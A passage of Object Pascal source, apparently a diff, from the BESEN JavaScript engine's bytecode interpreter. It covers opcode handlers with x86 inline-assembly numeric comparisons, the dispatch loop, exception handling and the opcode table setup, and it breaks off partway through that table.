TBESENCodeContext.OpSETCSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtSTRING; + ResultValue.Str:=RegisterValues[Operands^[0]].Str; +end; + +procedure TBESENCodeContext.OpSETCOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + ResultValue.ValueType:=bvtOBJECT; + ResultValue.Obj:=RegisterValues[Operands^[0]].Obj; +end; + +procedure TBESENCodeContext.OpTRACENEW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var Counter,CountArguments:integer; + OldIsStrict:boolean; + ConstructorValue:PBESENValue; +begin + OldIsStrict:=TBESEN(Instance).IsStrict; + try + ConstructorValue:=@RegisterValues[Operands^[1]]; + CountArguments:=Operands^[2]; + for Counter:=0 to CountArguments-1 do begin + ParamArgs[Counter]:=@RegisterValues[Operands^[Counter+3]]; + end; + if ConstructorValue^.ValueType<>bvtOBJECT then begin + BESENThrowTypeErrorNotAConstructorObject; + end else if not TBESENObject(ConstructorValue^.Obj).HasConstruct then begin + BESENThrowTypeErrorObjectHasNoConstruct; + end; + if Trace(bttCALL) then begin + TBESEN(Instance).GarbageCollector.TriggerCollect; + TBESEN(Instance).ObjectConstruct(TBESENObject(ConstructorValue^.Obj),BESENUndefinedValue,@ParamArgs[0],CountArguments,RegisterValues[Operands^[0]]); + Trace(bttRETURN); + end else begin + RegisterValues[Operands^[0]].ValueType:=bvtUNDEFINED; + end; + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; +end; + +procedure TBESENCodeContext.OpTRACECALL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var Counter,CountArguments:integer; + Ref,Func:PBESENValue; + OldIsStrict,DirectCall:boolean; +begin + OldIsStrict:=TBESEN(Instance).IsStrict; + try + Ref:=@RegisterValues[Operands^[1]]; + Func:=@RegisterValues[Operands^[2]]; + CountArguments:=Operands^[3]; + for Counter:=0 to CountArguments-1 do begin + ParamArgs[Counter]:=@RegisterValues[Operands^[Counter+4]]; + end; + if Func^.ValueType<>bvtOBJECT then begin + BESENThrowTypeErrorNotAFunction; + end else if not (assigned(Func^.Obj) and TBESENObject(Func^.Obj).HasCall) then begin + BESENThrowTypeErrorNotCallable; + end; + if Ref^.ValueType=bvtREFERENCE then begin + BESENRefBaseValueToCallThisArgValueProcs[Ref^.ReferenceBase.ValueType](CallThisArg,Ref^.ReferenceBase); + end else begin + CallThisArg.ValueType:=bvtUNDEFINED; + end; + if Trace(bttCALL) then begin + if Func^.Obj=TBESEN(Instance).ObjectGlobalEval then begin + DirectCall:=((Ref^.ValueType=bvtREFERENCE) and (Ref^.ReferenceBase.ValueType=brbvtENVREC)) and TBESENEnvironmentRecord(Ref^.ReferenceBase.EnvRec).HasBindingEx('eval',Descriptor); + TBESEN(Instance).GlobalEval(Context,CallThisArg,@ParamArgs[0],CountArguments,DirectCall,RegisterValues[Operands^[0]]); + end else begin + TBESEN(Instance).ObjectCall(TBESENObject(Func^.Obj),CallThisArg,@ParamArgs[0],CountArguments,RegisterValues[Operands^[0]]); + end; + Trace(bttRETURN); + end; + finally + TBESEN(Instance).IsStrict:=OldIsStrict; + end; +end; + +procedure TBESENCodeContext.OpLTNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + AbstractRelationalNumber(@RegisterValues[Operands^[1]],@Code.Literals[Operands^[2]],r^.Bool); +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num<Code.Literals[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpGTNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@Code.Literals[Operands^[2]]; + b:=@RegisterValues[Operands^[1]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + AbstractRelationalNumber(@Code.Literals[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool); +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num>Code.Literals[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpLENUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@Code.Literals[Operands^[2]]; + b:=@RegisterValues[Operands^[1]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + not al + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + if AbstractRelationalNumber(@Code.Literals[Operands^[2]],@RegisterValues[Operands^[1]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num<=Code.Literals[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpGENUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef cpu386} +{$ifdef UseSafeOperations} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + push edi + mov edi,dword ptr a + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + shl al,4 + mov edi,dword ptr b + mov ecx,dword ptr [edi+TBESENValue.Num+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [edi+TBESENValue.Num] + setnz dl + and edx,$7f + shr ecx,16 + or al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] + and eax,$ff + lea ecx,dword ptr [offset BESENNumberCodeAbstractRelationalLookupTable+eax*4] + mov edi,dword ptr a + fld qword ptr [edi+TBESENValue.Num] + mov edi,dword ptr b + fcomp qword ptr [edi+TBESENValue.Num] + fstsw ax + sahf + setb al + neg al + sbb eax,eax + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.DoCompare] + or al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.ResultBooleanValue] + not al + and al,byte ptr [ecx+TBESENNumberCodeAbstractRelationalLookupTableItem.IsNotUndefined] + cmp al,$01 + cmc + sbb eax,eax + mov edi,dword ptr r + mov dword ptr [edi+TBESENValue.Bool],eax + pop edi + end {$ifdef fpc}['eax','ecx','edx','edi']{$endif}; +{$else} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$endif} +{$else} +{$ifdef UseSafeOperations} + if AbstractRelationalNumber(@RegisterValues[Operands^[1]],@Code.Literals[Operands^[2]],r^.Bool) then begin + r^.Bool:=not r^.Bool; + end; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num>=Code.Literals[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpEQNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef UseSafeOperations} + r^.Bool:=BESENEqualityExpressionStrictEquals(RegisterValues[Operands^[1]],Code.Literals[Operands^[2]]); +{$else} +{$ifdef cpu386} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$else} + r^.Bool:=(not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num=Code.Literals[Operands^[2]].Num); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpNEQNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +var r{$ifdef cpu386},a,b{$endif}:PBESENValue; +begin + r:=@RegisterValues[Operands^[0]]; + r^.ValueType:=bvtBOOLEAN; +{$ifdef UseSafeOperations} + r^.Bool:=not BESENEqualityExpressionStrictEquals(RegisterValues[Operands^[1]],Code.Literals[Operands^[2]]); +{$else} +{$ifdef cpu386} + a:=@RegisterValues[Operands^[1]]; + b:=@Code.Literals[Operands^[2]]; + asm + mov edx,dword ptr a + fld qword ptr [edx+TBESENValue.Num] + mov edx,dword ptr b + fcomp qword ptr [edx+TBESENValue.Num] + fstsw ax + sahf + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + mov edx,dword ptr r + mov dword ptr [edx+TBESENValue.Bool],eax + end {$ifdef fpc}['eax','ecx','edx']{$endif}; +{$else} + r^.Bool:=not ((not (BESENIsNaN(RegisterValues[Operands^[1]].Num) or BESENIsNaN(Code.Literals[Operands^[2]].Num))) and (RegisterValues[Operands^[1]].Num=Code.Literals[Operands^[2]].Num)); +{$endif} +{$endif} +end; + +procedure TBESENCodeContext.OpJZERO(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + if (not BESENIsNaN(RegisterValues[Operands^[1]].Num)) and (RegisterValues[Operands^[1]].Num=0) then begin + PC:=Operands^[0]; + end; +end; + +procedure TBESENCodeContext.OpJNZERO(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} +begin + if not ((not BESENIsNaN(RegisterValues[Operands^[1]].Num)) and (RegisterValues[Operands^[1]].Num=0)) then begin + PC:=Operands^[0]; + end; +end; + +{$ifndef PurePascal} +{$define PurePascalExecuteByteCode} + +{$ifdef cpu386} +{$undef PurePascalExecuteByteCode} +function TBESENCodeContext.ExecuteByteCode:TBESENBoolean; assembler; {$ifdef UseRegister}register;{$endif} +asm + push ebx + push esi + push edi + mov esi,self + mov dword ptr [esi+TBESENCodeContext.BlockRunning],$ffffffff + mov edi,dword ptr [esi+TBESENCodeContext.Code] + mov edi,dword ptr [edi+TBESENCode.ByteCode] + jmp @LoopStart + @LoopBegin: + mov ebx,dword ptr [esi+TBESENCodeContext.PC] + lea edx,dword ptr [edi+ebx*4+4] + mov ebx,dword ptr [edi+ebx*4] + mov ecx,ebx + and ecx,$ff + shr ebx,8 + inc ebx + add dword ptr [esi+TBESENCodeContext.PC],ebx + mov eax,esi + call dword ptr [ecx*4+offset BESENCodeContextOpcodes] + @LoopStart: + cmp dword ptr [esi+TBESENCodeContext.BlockRunning],0 + jnz @LoopBegin + mov eax,dword ptr [esi+TBESENCodeContext.BlockRunning] + pop edi + pop esi + pop ebx +end; +{$endif} + +{$ifdef cpuamd64} +{$ifdef windows} +{$undef PurePascalExecuteByteCode} +function TBESENCodeContext.ExecuteByteCode:TBESENBoolean; {$ifdef UseRegister}register;{$endif} +begin + BlockRunning:=true; + asm + mov rsi,self + mov rdi,qword ptr [rsi+TBESENCodeContext.Code] + mov rdi,qword ptr [rdi+TBESENCode.ByteCode] + jmp @LoopStart + @LoopBegin: + xor rbx,rbx + mov ebx,dword ptr [rsi+TBESENCodeContext.PC] + lea rdx,qword ptr [rdi+rbx*4+4] + mov ebx,dword ptr [rdi+rbx*4] + mov rax,rbx + and eax,$ff + shr ebx,8 + inc ebx + add dword ptr [rsi+TBESENCodeContext.PC],ebx + mov rcx,rsi + mov rbx,offset BESENCodeContextOpcodes + call qword ptr [rbx+rax*8] + @LoopStart: + cmp dword ptr [rsi+TBESENCodeContext.BlockRunning],0 + jnz @LoopBegin + end ['rax','rbx','rcx','rdx','rsi','rdi']; + result:=BlockRunning; +end; +{$else} +{$undef PurePascalExecuteByteCode} +function TBESENCodeContext.ExecuteByteCode:TBESENBoolean; {$ifdef UseRegister}register;{$endif} +begin + BlockRunning:=true; + asm + mov r12,self + mov r13,qword ptr [r12+TBESENCodeContext.Code] + mov r13,qword ptr [r13+TBESENCode.ByteCode] + jmp @LoopStart + @LoopBegin: + xor rbx,rbx + mov ebx,dword ptr [r12+TBESENCodeContext.PC] + lea rsi,qword ptr [r13+rbx*4+4] + mov ebx,dword ptr [r13+rbx*4] + mov rax,rbx + and eax,$ff + shr ebx,8 + inc ebx + add dword ptr [r12+TBESENCodeContext.PC],ebx + mov rdi,r12 + mov rbx,offset BESENCodeContextOpcodes + call qword ptr [rbx+rax*8] + @LoopStart: + cmp dword ptr [r12+TBESENCodeContext.BlockRunning],0 + jnz @LoopBegin + end ['rax','rbx','rcx','rdx','rsi','rdi','r8','r9','r10','r11','r12','r13']; + result:=BlockRunning; +end; +{$endif} +{$endif} +{$else} + {$define PurePascalExecuteByteCode} +{$endif} + +{$ifdef PurePascalExecuteByteCode} +function TBESENCodeContext.ExecuteByteCode:TBESENBoolean; +var Handler:TBESENCodeContextOpcode; + Instruction:longword; + ByteCode:PBESENUINT32Array; + Operands:PBESENINT32Array; +begin + BlockRunning:=true; + ByteCode:=@Code.ByteCode[0]; + while BlockRunning do begin + Instruction:=ByteCode^[PC]; + Operands:=@ByteCode^[PC+1]; + inc(PC,1+(Instruction shr 8)); + TMethod(Handler).Code:=BESENCodeContextOpcodes[Instruction and $ff]; + TMethod(Handler).Data:=self; + Handler(Operands); + end; + result:=BlockRunning; +end; +{$endif} + +function TBESENCodeContext.ExecuteCode:TBESENBoolean; +begin + if PC<TBESENUINT32(Code.ByteCodeLen) then begin +{$ifdef HasJIT} + if assigned(Code.NativeCode) then begin + result:=BESENExecuteNativeCode(self); + end else begin + result:=ExecuteByteCode; + end; +{$else} + result:=ExecuteByteCode; +{$endif} + if assigned(TBESEN(Instance).PeriodicHook) then begin + if not TBESEN(Instance).PeriodicHook(TBESEN(Instance)) then begin + Running:=false; + BlockRunning:=false; + result:=false; + end; + end; + end else begin + result:=false; + end; +end; + +procedure TBESENCodeContext.ExecuteTryBlockLevel; +var Reraise:boolean; + ExceptionValue:TBESENValue; + function ProcessException:boolean; + begin + result:=true; + while BlockLevel>0 do begin + case Blocks[BlockLevel-1].BlockType of + bccbtENUM:begin + dec(BlockLevel); + Block:=@Blocks[BlockLevel]; + PropertyEnumerator:=Block^.OldPropertyEnumerator; + EnumBlock:=Block^.OldEnumBlock; + BESENFreeAndNil(Block.PropertyEnumerator); + end; + bccbtWITH:begin + dec(BlockLevel); + Block:=@Blocks[BlockLevel]; + Context.LexicalEnvironment:=Block^.LexicalEnvironment.Outer; + end; + bccbtCATCH:begin + Block:=@Blocks[BlockLevel-1]; + Block^.Value:=ExceptionValue; + PC:=Block^.Handler; + result:=false; + break; + end; + bccbtCATCH2:begin + dec(BlockLevel); + Block:=@Blocks[BlockLevel]; + Context.LexicalEnvironment:=Block^.LexicalEnvironment.Outer; + Block^.Ident:=''; + end; + bccbtFINALLY:begin + Block:=@Blocks[BlockLevel-1]; + Block^.BlockType:=bccbtFINALLY2; + Block^.Resume:=$ffffffff; + Block^.Raised:=true; + PC:=Block^.Handler; + ExecuteTryBlockLevel; + end; + bccbtFINALLY2:begin + dec(BlockLevel); + end; + end; + end; + end; +begin + ExceptionValue:=BESENEmptyValue; + Reraise:=false; + while Running do begin + try + if not ExecuteCode then begin + break; + end; + except + on e:EBESENThrowException do begin + ExceptionValue:=E.Value; + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENEvalError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectEvalErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENRangeError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectRangeErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENReferenceError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectReferenceErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENSyntaxError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectSyntaxErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENTypeError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectTypeErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENURIError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectURIErrorConstructor,e.OriginalMessage); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:EBESENError do begin + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectErrorConstructor,e.OriginalMessage,E.Name); + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + on e:Exception do begin +{$ifdef Delphi2009AndUp} + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectErrorConstructor,e.Message); +{$else} + ExceptionValue:=ConstructError(TBESEN(Instance).ObjectErrorConstructor,BESENUTF8ToUTF16(BESENConvertToUTF8(e.Message))); +{$endif} + Reraise:=ProcessException; + if Reraise then begin + raise; + end else begin + E.Message:=''; + end; + end; + else begin + ExceptionValue:=BESENEmptyValue; + Reraise:=ProcessException; + if Reraise then begin + raise; + end; + end; + end; + end; +end; + +procedure TBESENCodeContext.Execute(const AContext:TBESENContext;var AResult:TBESENValue); +var i:integer; + IsDeclarativeEnvironmentRecord:boolean; + EnvironmentRecord:TBESENEnvironmentRecord; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPURoundingMode:TFPURoundingMode; + OldFPUPrecisionMode:TFPUPrecisionMode; +{$endif} +begin + Context:=AContext; + ResultValue.ValueType:=bvtUNDEFINED; + PropertyEnumerator:=nil; + EnumBlock:=nil; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:=GetExceptionMask; + OldFPURoundingMode:=GetRoundMode; + OldFPUPrecisionMode:=GetPrecisionMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(BESENFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(rmNearest); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(BESENFPUPrecisionMode); + end; +{$endif} + for i:=0 to length(RegisterValues)-1 do begin + RegisterValues[i].ValueType:=bvtUNDEFINED; + end; + if Code.Body.EnableLocalsOptimization then begin + EnvironmentRecord:=Context.VariableEnvironment.EnvironmentRecord; + IsDeclarativeEnvironmentRecord:=EnvironmentRecord is TBESENDeclarativeEnvironmentRecord; + if (IsDeclarativeEnvironmentRecord and not TBESENDeclarativeEnvironmentRecord(EnvironmentRecord).IndexInitialized) or not IsDeclarativeEnvironmentRecord then begin + if IsDeclarativeEnvironmentRecord then begin + TBESENDeclarativeEnvironmentRecord(EnvironmentRecord).IndexInitialized:=true; + end; + for i:=0 to length(Code.Variables)-1 do begin + if not EnvironmentRecord.SetBindingValueIndex(Code.Variables[i].Name,i) then begin + BESENThrowInternalError('Internal error: 201003160136-0000'); + end; + end; + end; + end; + Running:=true; + Str:=''; + PC:=0; + BlockLevel:=0; + Block:=@Blocks[0]; +{$ifdef HasJIT} + if not assigned(Code.NativeCode) then begin + if not BESENGenerateNativeCode(self) then begin + if assigned(Code.NativeCode) then begin + TBESEN(Instance).NativeCodeMemoryManager.FreeMemory(Code.NativeCode); + Code.NativeCode:=nil; + Code.NativeCodeSize:=0; + end; + end; + end; +{$endif} + LookupNames:=Code.LookupNames.FList; + ExecuteTryBlockLevel; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(OldFPURoundingMode); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; +{$endif} + Context:=nil; + end; + BesenCopyValue(AResult,ResultValue); +end; + +procedure InitOpcodes; +var i:integer; +begin + fillchar(BESENCodeContextOpcodes,sizeof(TBESENCodeContextOpcodePointers),#0); + for i:=0 to 255 do begin + BESENCodeContextOpcodes[i]:=@TBESENCodeContext.OpNOP; + end; + BESENCodeContextOpcodes[bopSTOP]:=@TBESENCodeContext.OpSTOP; + BESENCodeContextOpcodes[bopNEW]:=@TBESENCodeContext.OpNEW; + BESENCodeContextOpcodes[bopCALL]:=@TBESENCodeContext.OpCALL; + BESENCodeContextOpcodes[bopEND]:=@TBESENCodeContext.OpEND; + BESENCodeContextOpcodes[bopVREF]:=@TBESENCodeContext.OpVREF; + BESENCodeContextOpcodes[bopLREF]:=@TBESENCodeContext.OpLREF; + BESENCodeContextOpcodes[bopNOP]:=@TBESENCodeContext.OpNOP; + BESENCodeContextOpcodes[bopCOPY]:=@TBESENCodeContext.OpCOPY; + BESENCodeContextOpcodes[bopNEQ]:=@TBESENCodeContext.OpNEQ; + BESENCodeContextOpcodes[bopNSEQ]:=@TBESENCodeContext.OpNSEQ; + BESENCodeContextOpcodes[bopAREF]:=@TBESENCodeContext.OpAREF; + BESENCodeContextOpcodes[bopTHROW]:=@TBESENCodeContext.OpTHROW; + BESENCodeContextOpcodes[bopSETC]:=@TBESENCodeContext.OpSETC; + BESENCodeContextOpcodes[bopGETC]:=@TBESENCodeContext.OpGETC; + BESENCodeContextOpcodes[bopTHIS]:=@TBESENCodeContext.OpTHIS; + BESENCodeContextOpcodes[bopOBJECT]:=@TBESENCodeContext.OpOBJECT; + BESENCodeContextOpcodes[bopARRAY]:=@TBESENCodeContext.OpARRAY; + BESENCodeContextOpcodes[bopREGEXP]:=@TBESENCodeContext.OpREGEXP; + BESENCodeContextOpcodes[bopREF]:=@TBESENCodeContext.OpREF; + BESENCodeContextOpcodes[bopGETVALUE]:=@TBESENCodeContext.OpGETVALUE; + BESENCodeContextOpcodes[bopLOOKUP]:=@TBESENCodeContext.OpLOOKUP; + BESENCodeContextOpcodes[bopPUTVALUE]:=@TBESENCodeContext.OpPUTVALUE; + BESENCodeContextOpcodes[bopDELETE]:=@TBESENCodeContext.OpDELETE; + BESENCodeContextOpcodes[bopTYPEOF]:=@TBESENCodeContext.OpTYPEOF; + BESENCodeContextOpcodes[bopTOOBJECT]:=@TBESENCodeContext.OpTOOBJECT; + BESENCodeContextOpcodes[bopTONUMBER]:=@TBESENCodeContext.OpTONUMBER; + 